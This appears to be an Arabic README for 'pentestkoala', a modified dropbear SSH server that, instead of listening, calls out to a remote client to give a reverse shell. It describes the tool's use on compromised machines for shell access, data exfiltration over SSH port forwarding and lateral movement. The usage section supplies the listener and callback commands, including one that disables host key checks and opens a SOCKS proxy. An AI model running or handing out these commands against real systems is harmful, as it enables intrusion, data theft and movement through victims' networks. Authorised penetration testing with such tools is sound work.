mrschyte/pentestkoalaخادم دروببير معدل يعمل كعميل ويسمح بتسجيل الدخول بدون مصادقة
Koala هي نسخة معدلة من خادم SSH dropbear والتي بدلاً من الربط بمنفذ تقوم بفتح شل عكسي عن طريق الاتصال بعميل بعيد.
هذا مفيد للحصول على طرفية pty على جهاز تم اختراقه وكذلك لاستخراج البيانات بشكل آمن عبر إعادة توجيه منفذ SSH. يمكن أيضًا التنقل الجانبي باستخدام ميزة إعادة توجيه منفذ SSH الديناميكي.
[الاستخدام]
قم بتشغيل الأمر التالي على العميل للاستماع لاتصال SSH: $ ncat -lvp 5000 --sh-exec 'ncat -lvp 9999'
على الجهاز المخترق قم بتشغيل: $ ./dropbear -p client-host:5000
الآن على العميل، اتصل بالمنفذ 9999 لفتح شل: $ ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null localhost -D9050 -p9999
